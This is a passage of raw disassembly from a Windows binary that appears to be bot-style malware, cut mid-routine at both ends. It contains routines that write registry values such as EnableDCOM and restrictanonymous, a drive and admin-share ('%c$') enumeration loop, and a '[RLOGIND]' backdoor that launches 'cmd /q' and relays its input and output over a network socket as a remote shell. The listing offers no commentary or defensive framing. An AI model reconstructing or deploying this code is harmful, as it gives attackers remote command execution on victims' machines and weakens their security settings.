; "EnableDCOM" push [ebp+var_4] call dword_491680 ; RegSetValueExA test eax, eax jz short loc_4129E3 push offset unk_434F88 jmp short loc_4129E8 ; --------------------------------------------------------------------------- loc_4129E3: ; CODE XREF: sub_412976+64j push offset dword_434F58 loc_4129E8: ; CODE XREF: sub_412976+6Bj lea eax, [ebp+var_214] push eax call sub_416821 pop ecx pop ecx push [ebp+var_4] call dword_491638 ; RegCloseKey jmp short loc_412A14 ; --------------------------------------------------------------------------- loc_412A01: ; CODE XREF: sub_412976+36j lea eax, [ebp+var_214] push offset unk_434F10 push eax call sub_416821 pop ecx pop ecx loc_412A14: ; CODE XREF: sub_412976+89j cmp [ebp+arg_C], edi jnz short loc_412A33 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4010D2 add esp, 14h loc_412A33: ; CODE XREF: sub_412976+A1j lea eax, [ebp+var_214] push eax call sub_401014 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4916CC ; RegOpenKeyExA test eax, eax jnz short loc_412AA1 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_491680 ; RegSetValueExA test eax, eax jz short loc_412A83 push offset unk_434EA4 jmp short loc_412A88 ; --------------------------------------------------------------------------- loc_412A83: ; CODE XREF: sub_412976+104j push offset unk_434E58 loc_412A88: ; CODE XREF: sub_412976+10Bj lea eax, [ebp+var_214] push eax call sub_416821 pop ecx pop ecx push [ebp+var_4] call dword_491638 ; RegCloseKey jmp short loc_412ABB ; --------------------------------------------------------------------------- loc_412AA1: ; CODE XREF: sub_412976+E2j push offset unk_434E04 jmp short loc_412AAD ; --------------------------------------------------------------------------- loc_412AA8: ; CODE XREF: sub_412976+13j push offset unk_434DC0 loc_412AAD: ; CODE XREF: sub_412976+130j lea eax, [ebp+var_214] push eax call sub_416821 pop ecx pop ecx loc_412ABB: ; CODE XREF: sub_412976+129j cmp [ebp+arg_C], edi jnz short loc_412ADA push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4010D2 add esp, 14h loc_412ADA: ; CODE XREF: sub_412976+148j lea eax, [ebp+var_214] push eax call sub_401014 cmp dword_491754, edi pop ecx jnz loc_412C55 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_412AFD: ; CODE XREF: sub_412976+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4915A8 cmp eax, edi mov [ebp+var_10], eax jz short loc_412B9A cmp eax, 0EAh jz short loc_412B9A mov esi, offset off_434C10 loc_412B2E: ; CODE XREF: sub_412976+21Dj push dword ptr [esi] push edi call sub_40107D pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_412B45 push offset unk_434D8C jmp short loc_412B4A ; --------------------------------------------------------------------------- loc_412B45: ; CODE XREF: sub_412976+1C6j push offset unk_434D4C loc_412B4A: ; CODE XREF: sub_412976+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_4163D7 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_412B7D push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4010D2 add esp, 14h loc_412B7D: ; CODE XREF: sub_412976+1EBj lea eax, [ebp+var_214] push eax call sub_401014 add esi, 8 pop ecx cmp esi, offset dword_434C30 jl short loc_412B2E jmp loc_412C32 ; --------------------------------------------------------------------------- loc_412B9A: ; CODE XREF: sub_412976+1AAj ; sub_412976+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_412C29 loc_412BA9: ; CODE XREF: sub_412976+2AFj mov edi, [esi] push edi call sub_417CEF cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_412C1E push edi call sub_40114F push eax push 0 call sub_40107D add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_412BD8 push offset unk_434D18 jmp short loc_412BDD ; --------------------------------------------------------------------------- loc_412BD8: ; CODE XREF: sub_412976+259j push offset unk_434CD8 loc_412BDD: ; CODE XREF: sub_412976+260j lea eax, [ebp+var_214] push 200h push eax call sub_4163D7 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_412C11 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4010D2 add esp, 14h loc_412C11: ; CODE XREF: sub_412976+27Fj lea eax, [ebp+var_214] push eax call sub_401014 pop ecx loc_412C1E: ; CODE XREF: sub_412976+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_412BA9 xor edi, edi loc_412C29: ; CODE XREF: sub_412976+22Dj push [ebp+var_8] call dword_4916EC loc_412C32: ; CODE XREF: sub_412976+21Fj cmp [ebp+var_10], 0EAh jz loc_412AFD lea eax, [ebp+var_214] push offset unk_434C9C push eax call sub_416821 pop ecx pop ecx pop ebx jmp short loc_412C68 ; --------------------------------------------------------------------------- loc_412C55: ; CODE XREF: sub_412976+177j lea eax, [ebp+var_214] push offset unk_434C58 push eax call sub_416821 pop ecx pop ecx loc_412C68: ; CODE XREF: sub_412976+2DDj cmp [ebp+arg_C], edi jnz short loc_412C86 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4010D2 add esp, 14h loc_412C86: ; CODE XREF: sub_412976+2F5j lea eax, [ebp+var_214] push eax call sub_401014 pop ecx push 1 pop eax pop edi pop esi leave retn sub_412976 endp ; --------------------------------------------------------------------------- db 0C9h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D63 proc near ; CODE XREF: sub_4011DBj var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_49172C, ebx push esi jnz loc_412E91 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4916CC ; RegOpenKeyExA test eax, eax jnz short loc_412DEE mov ax, word_4351E4 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_4158E0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_491680 ; RegSetValueExA test eax, eax jz short loc_412DD0 push offset unk_4351B0 jmp short loc_412DD5 ; --------------------------------------------------------------------------- loc_412DD0: ; CODE XREF: sub_412D63+64j push offset dword_435180 loc_412DD5: ; CODE XREF: sub_412D63+6Bj lea eax, [ebp+var_220] push eax call sub_416821 pop ecx pop ecx push [ebp+var_4] call dword_491638 ; RegCloseKey jmp short loc_412E01 ; --------------------------------------------------------------------------- loc_412DEE: ; CODE XREF: sub_412D63+36j lea eax, [ebp+var_220] push offset unk_434F10 push eax call sub_416821 pop ecx pop ecx loc_412E01: ; CODE XREF: sub_412D63+89j cmp [ebp+arg_C], ebx jnz short loc_412E20 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4010D2 add esp, 14h loc_412E20: ; CODE XREF: sub_412D63+A1j lea eax, [ebp+var_220] push eax call sub_401014 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4916CC ; RegOpenKeyExA test eax, eax jnz short loc_412E8A lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_491680 ; RegSetValueExA test eax, eax jz short loc_412E6C push offset unk_435128 jmp short loc_412E71 ; --------------------------------------------------------------------------- loc_412E6C: ; CODE XREF: sub_412D63+100j push offset unk_4350DC loc_412E71: ; CODE XREF: sub_412D63+107j lea eax, [ebp+var_220] push eax call sub_416821 pop ecx pop ecx push [ebp+var_4] call dword_491638 ; RegCloseKey jmp short loc_412EA4 ; --------------------------------------------------------------------------- loc_412E8A: ; CODE XREF: sub_412D63+E2j push offset unk_435088 jmp short loc_412E96 ; --------------------------------------------------------------------------- loc_412E91: ; CODE XREF: sub_412D63+13j push offset unk_434DC0 loc_412E96: ; CODE XREF: sub_412D63+12Cj lea eax, [ebp+var_220] push eax call sub_416821 pop ecx pop ecx loc_412EA4: ; CODE XREF: sub_412D63+125j cmp [ebp+arg_C], ebx jnz short loc_412EC3 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4010D2 add esp, 14h loc_412EC3: ; CODE XREF: sub_412D63+144j lea eax, [ebp+var_220] push eax call sub_401014 cmp dword_491754, ebx pop ecx jnz loc_413035 push edi mov esi, offset off_434C10 mov edi, 200h loc_412EE7: ; CODE XREF: sub_412D63+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_40132F add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_412F02 push offset unk_435054 jmp short loc_412F07 ; --------------------------------------------------------------------------- loc_412F02: ; CODE XREF: sub_412D63+196j push offset unk_435018 loc_412F07: ; CODE XREF: sub_412D63+19Dj lea eax, [ebp+var_220] push edi push eax call sub_4163D7 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_412F36 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4010D2 add esp, 14h loc_412F36: ; CODE XREF: sub_412D63+1B7j lea eax, [ebp+var_220] push eax call sub_401014 add esi, 8 pop ecx cmp esi, offset off_434C20 jl short loc_412EE7 loc_412F4E: ; DATA XREF: .data:off_4356E0o call ds:dword_495408 ; GetLogicalDrives test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41301D loc_412F61: ; CODE XREF: sub_412D63+2B4j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_413012 cmp bl, 41h jz loc_413012 movsx esi, bl push esi push offset aC_0 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_4163D7 push esi push offset aC ; "%c:\\" lea eax, [ebp+var_20] push 0Ah push eax call sub_4163D7 add esp, 20h lea eax, [ebp+var_20] push eax call dword_4916BC ; GetDriveTypeA cmp eax, 3 jnz short loc_413012 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_40132F add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_412FD0 push offset unk_435054 jmp short loc_412FD5 ; --------------------------------------------------------------------------- loc_412FD0: ; CODE XREF: sub_412D63+264j push offset unk_435018 loc_412FD5: ; CODE XREF: sub_412D63+26Bj lea eax, [ebp+var_220] push edi push eax call sub_4163D7 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_413005 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4010D2 add esp, 14h loc_413005: ; CODE XREF: sub_412D63+286j lea eax, [ebp+var_220] push eax call sub_401014 pop ecx loc_413012: ; CODE XREF: sub_412D63+206j ; sub_412D63+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_412F61 loc_41301D: ; CODE XREF: sub_412D63+1F8j lea eax, [ebp+var_220] push offset unk_434FD4 push eax call sub_416821 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_413048 ; --------------------------------------------------------------------------- loc_413035: ; CODE XREF: sub_412D63+173j lea eax, [ebp+var_220] push offset unk_434C58 push eax call sub_416821 pop ecx pop ecx loc_413048: ; CODE XREF: sub_412D63+2D0j cmp [ebp+arg_C], ebx jnz short loc_413066 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4010D2 add esp, 14h loc_413066: ; CODE XREF: sub_412D63+2E8j lea eax, [ebp+var_220] push eax call sub_401014 pop ecx push 1 pop eax pop esi pop ebx leave retn sub_412D63 endp ; --------------------------------------------------------------------------- db 0C5h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41313F proc near ; CODE XREF: sub_401276j ; sub_41313F+1Cj push 1 push 0 push 0 push 0 call sub_401172 add esp, 10h push dword_434C08 call ds:dword_495324 ; Sleep jmp short sub_41313F sub_41313F endp ; --------------------------------------------------------------------------- db 7 dup(0CCh) ; --------------------------------------------------------------------------- loc_413164: ; CODE XREF: .text:0040135Cj push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+8] push edi call sub_413309 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_43E92C[edi] mov dword ptr [ebp-0Ch], 0Ch mov [ebp-8], ebx mov [ebp-4], ebx mov [esi+0Ch], eax mov edi, ds:dword_49532C pop ecx lea eax, [ebp+8] push eax push ebx push esi push offset sub_41354F lea eax, [ebp-0Ch] push ebx push eax call edi ; CreateThread cmp eax, ebx mov [esi+10h], eax jnz short loc_4131CF call ds:dword_495328 ; RtlGetLastWin32Error push eax push offset aRlogindFailedT ; "[RLOGIND]: Failed to create ReadShell s"... call sub_4012B2 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_413209 ; --------------------------------------------------------------------------- loc_4131CF: ; CODE XREF: .text:004131B4j lea eax, [ebp+8] push eax push ebx push esi push offset sub_41362D lea eax, [ebp-0Ch] push ebx push eax call edi ; CreateThread cmp eax, ebx mov [esi+14h], eax jnz short loc_413210 call ds:dword_495328 ; RtlGetLastWin32Error push eax push offset aRlogindFailedT ; "[RLOGIND]: Failed to create ReadShell s"... call sub_4012B2 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] call ds:dword_4953B4 ; TerminateThread loc_413209: ; CODE XREF: .text:004131CDj xor eax, eax jmp loc_4132B0 ; --------------------------------------------------------------------------- loc_413210: ; CODE XREF: .text:004131E6j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp-18h], eax mov eax, [esi+14h] mov [ebp-14h], eax mov eax, [esi+8] mov [ebp-10h], eax lea eax, [ebp-18h] push ebx push eax push 3 call ds:dword_49540C ; WaitForMultipleObjects sub eax, ebx jz short loc_41326A dec eax jz short loc_413264 dec eax jz short loc_413250 call ds:dword_495328 ; RtlGetLastWin32Error push eax push offset aRlogindWaitfor ; "[RLOGIND]: WaitForMultipleObjects error"... call sub_4012B2 pop ecx pop ecx jmp short loc_41327F ; --------------------------------------------------------------------------- loc_413250: ; CODE XREF: .text:00413239j mov edi, ds:dword_4953B4 push ebx push dword ptr [esi+14h] call edi ; TerminateThread push ebx push dword ptr [esi+10h] call edi ; TerminateThread jmp short loc_41327F ; --------------------------------------------------------------------------- loc_413264: ; CODE XREF: .text:00413236j push ebx push dword ptr [esi+10h] jmp short loc_41326E ; --------------------------------------------------------------------------- loc_41326A: ; CODE XREF: .text:00413233j push ebx push dword ptr [esi+14h] loc_41326E: ; CODE XREF: .text:00413268j call ds:dword_4953B4 ; TerminateThread push 1 push dword ptr [esi+8] call ds:dword_4953F8 ; TerminateProcess loc_41327F: ; CODE XREF: .text:0041324Ej ; .text:00413262j push dword ptr [esi+10h] mov edi, ds:dword_495358 call edi ; CloseHandle push dword ptr [esi+14h] call edi ; CloseHandle push dword ptr [esi+8] call edi ; CloseHandle push dword ptr [esi] call edi ; CloseHandle push dword ptr [esi+4] call edi ; CloseHandle push dword ptr [esi+0Ch] call dword_4916F4 ; closesocket push esi call sub_415D6C pop ecx push 1 pop eax loc_4132B0: ; CODE XREF: .text:0041320Bj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 54h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413309 proc near ; CODE XREF: .text:00413171p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_415CF8 mov esi, eax pop ecx cmp esi, edi jz loc_4133F3 mov ebx, ds:dword_495410 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx ; CreatePipe mov edi, ds:dword_495358 test eax, eax jnz short loc_41336C call ds:dword_495328 ; RtlGetLastWin32Error push eax push offset aRlogindFaile_0 ; "[RLOGIND]: Failed to create shell stdou"... jmp short loc_41338C ; --------------------------------------------------------------------------- loc_41336C: ; CODE XREF: sub_413309+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx ; CreatePipe test eax, eax jnz short loc_413394 call ds:dword_495328 ; RtlGetLastWin32Error push eax push offset aRlogindFaile_1 ; "[RLOGIND]: Failed to create shell stdin"... loc_41338C: ; CODE XREF: sub_413309+61j call sub_4012B2 pop ecx jmp short loc_4133C2 ; --------------------------------------------------------------------------- loc_413394: ; CODE XREF: sub_413309+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_413440 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi ; CloseHandle push [ebp+var_8] call edi ; CloseHandle cmp dword ptr [esi+8], 0 jnz short loc_4133F7 push offset aRlogindFaile_2 ; "[RLOGIND]: Failed to execute shell." call sub_401014 loc_4133C2: ; CODE XREF: sub_413309+89j cmp [ebp+var_4], 0 pop ecx jz short loc_4133CE push [ebp+var_4] call edi ; CloseHandle loc_4133CE: ; CODE XREF: sub_413309+BEj cmp [ebp+var_8], 0 jz short loc_4133D9 push [ebp+var_8] call edi ; CloseHandle loc_4133D9: ; CODE XREF: sub_413309+C9j mov eax, [esi] test eax, eax jz short loc_4133E2 push eax call edi ; CloseHandle loc_4133E2: ; CODE XREF: sub_413309+D4j mov eax, [esi+4] test eax, eax jz short loc_4133EC push eax call edi ; CloseHandle loc_4133EC: ; CODE XREF: sub_413309+DEj push esi call sub_415D6C pop ecx loc_4133F3: ; CODE XREF: sub_413309+1Dj xor eax, eax jmp short loc_4133FD ; --------------------------------------------------------------------------- loc_4133F7: ; CODE XREF: sub_413309+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_4133FD: ; CODE XREF: sub_413309+ECj pop edi pop esi pop ebx leave retn sub_413309 endp ; --------------------------------------------------------------------------- db 3Eh dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413440 proc near ; CODE XREF: sub_413309+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_415CA0 push 10h lea eax, [ebp+var_14] push esi push eax call sub_415CA0 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, ds:dword_4953F4 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi ; GetCurrentProcess push eax push ebx call edi ; GetCurrentProcess push eax call ds:dword_495414 ; DuplicateHandle lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call ds:dword_495354 ; CreateProcessA test eax, eax jz short loc_4134FC mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43E928[eax], ecx call ds:dword_495358 ; CloseHandle jmp short loc_413512 ; --------------------------------------------------------------------------- loc_4134FC: ; CODE XREF: sub_413440+9Aj call ds:dword_495328 ; RtlGetLastWin32Error push eax push offset aRlogindFaile_3 ; "[RLOGIND]: Failed to execute shell, err"... call sub_4012B2 mov esi, [ebp+var_4] pop ecx pop ecx loc_413512: ; CODE XREF: sub_413440+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_413440 endp ; --------------------------------------------------------------------------- db 36h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41354F proc near ; DATA XREF: .text:004131A3o var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, ds:dword_49538C push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_413578: ; CODE XREF: sub_41354F+8Fj call ebx ; ReadFile test eax, eax jz short loc_4135E0 xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_4135B3 loc_413589: ; CODE XREF: sub_41354F+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_4135A3 cmp dl, 0Dh jz short loc_4135A3 mov [ebp+eax+var_1B0], 0Dh inc eax loc_4135A3: ; CODE XREF: sub_41354F+44j ; sub_41354F+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_413589 loc_4135B3: ; CODE XREF: sub_41354F+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4916AC ; send test eax, eax jle short loc_4135E0 lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_413578 ; --------------------------------------------------------------------------- loc_4135E0: ; CODE XREF: sub_41354F+2Dj ; sub_41354F+79j mov esi, ds:dword_495328 call esi ; RtlGetLastWin32Error cmp eax, 6Dh jz short loc_4135FC call esi ; RtlGetLastWin32Error push eax push offset aRlogindSession ; "[RLOGIND]: SessionReadShellThread exite"... call sub_4012B2 pop ecx pop ecx loc_4135FC: ; CODE XREF: sub_41354F+9Cj pop edi pop esi pop ebx leave retn sub_41354F endp ; --------------------------------------------------------------------------- db 2Ch dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41362D proc near ; DATA XREF: .text:004131D5o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_413646: ; CODE XREF: sub_41362D+39j ; sub_41362D+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_491674 ; recv test eax, eax jle loc_41374B cmp [ebp+var_10], ebx jbe short loc_413668 dec [ebp+var_10] jmp short loc_413646 ; --------------------------------------------------------------------------- loc_413668: ; CODE XREF: sub_41362D+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_41372B cmp al, 8 mov [ebp+var_C], ebx jz short loc_4136D8 cmp al, 7Fh jz short loc_4136D8 cmp al, 3 jnz short loc_413693 push ebx push ebx call ds:dword_495418 ; GenerateConsoleCtrlEvent jmp short loc_4136FF ; --------------------------------------------------------------------------- loc_413693: ; CODE XREF: sub_41362D+5Aj cmp al, 15h jnz short loc_4136B5 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_4136EB ; --------------------------------------------------------------------------- loc_4136B5: ; CODE XREF: sub_41362D+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_4136EC mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_4136EB ; --------------------------------------------------------------------------- loc_4136D8: ; CODE XREF: sub_41362D+52j ; sub_41362D+56j cmp esi, ebx jbe short loc_413702 dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_4136EB: ; CODE XREF: sub_41362D+86j ; sub_41362D+A9j pop ecx loc_4136EC: ; CODE XREF: sub_41362D+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4916AC ; send test eax, eax jle short loc_41374B loc_4136FF: ; CODE XREF: sub_41362D+64j mov al, byte ptr [ebp+arg_0+3] loc_413702: ; CODE XREF: sub_41362D+ADj cmp al, 0Dh jnz loc_413646 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] call ds:dword_49535C ; WriteFile test eax, eax jz short loc_41374B xor esi, esi jmp loc_413646 ; --------------------------------------------------------------------------- loc_41372B: ; CODE XREF: sub_41362D+47j cmp [ebp+var_C], ebx jnz short loc_41373C mov [ebp+var_C], 1 jmp loc_413646 ; --------------------------------------------------------------------------- loc_41373C: ; CODE XREF: sub_41362D+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_413646 ; --------------------------------------------------------------------------- loc_41374B: ; CODE XREF: sub_41362D+2Bj ; sub_41362D+D0j ... pop edi pop esi pop ebx leave retn sub_41362D endp ; --------------------------------------------------------------------------- db 48h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413798 proc near ; CODE XREF: sub_4010BEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_4158E0 push [esp+8+arg_4] mov esi, eax call sub_4158E0 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_413798 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4137C0 proc near ; CODE XREF: sub_401177j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_4010BE cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_4137DD xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_4137DD: ; CODE XREF: sub_4137C0+17j push ebx push esi push edi push [ebp+arg_8] call sub_4158E0 push [ebp+arg_C] mov esi, eax call sub_4158E0 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_435448, eax lea eax, [edi+1] mov dword_435469, eax lea eax, [edi+17h] mov dword_435461, eax pop eax push 74h sub eax, edi push offset dword_4353E4 push ebx mov dword_435477, eax call sub_415960 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call sub_415960 add esi, 74h push 5 push offset aGet_0 ; " get " lea eax, [esi+ebx] push eax call sub_415960 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call sub_415960 add esi, edi push 10h push 43545Dh lea eax, [esi+ebx] push eax call sub_415960 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call sub_415960 add esi, edi push 38h add esi, ebx push offset byte_43546D push esi call sub_415960 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_4137C0 endp ; --------------------------------------------------------------------------- db 36h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4138CE proc near ; CODE XREF: sub_40132Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4010BE push eax call sub_401186 add esp, 0Ch retn sub_4138CE endp ; --------------------------------------------------------------------------- db 5 dup(0CCh) ; --------------------------------------------------------------------------- loc_4138EA: ; CODE XREF: .text:00401168j push ebp mov ebp, esp push ebx mov ebx, [ebp+10h] push edi mov edi, [ebp+14h] push edi push ebx call sub_40132A cmp eax, [ebp+0Ch] pop ecx pop ecx ja short loc_41390A cmp eax, 0FFFFh jbe short loc_41390E loc_41390A: ; CODE XREF: .text:00413901j xor eax, eax jmp short loc_413953 ; --------------------------------------------------------------------------- loc_41390E: ; CODE XREF: .text:00413908j push esi push edi push ebx call sub_4010BE add eax, 101h push eax call sub_415CF8 add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_4010BE pop ecx pop ecx push eax push esi call 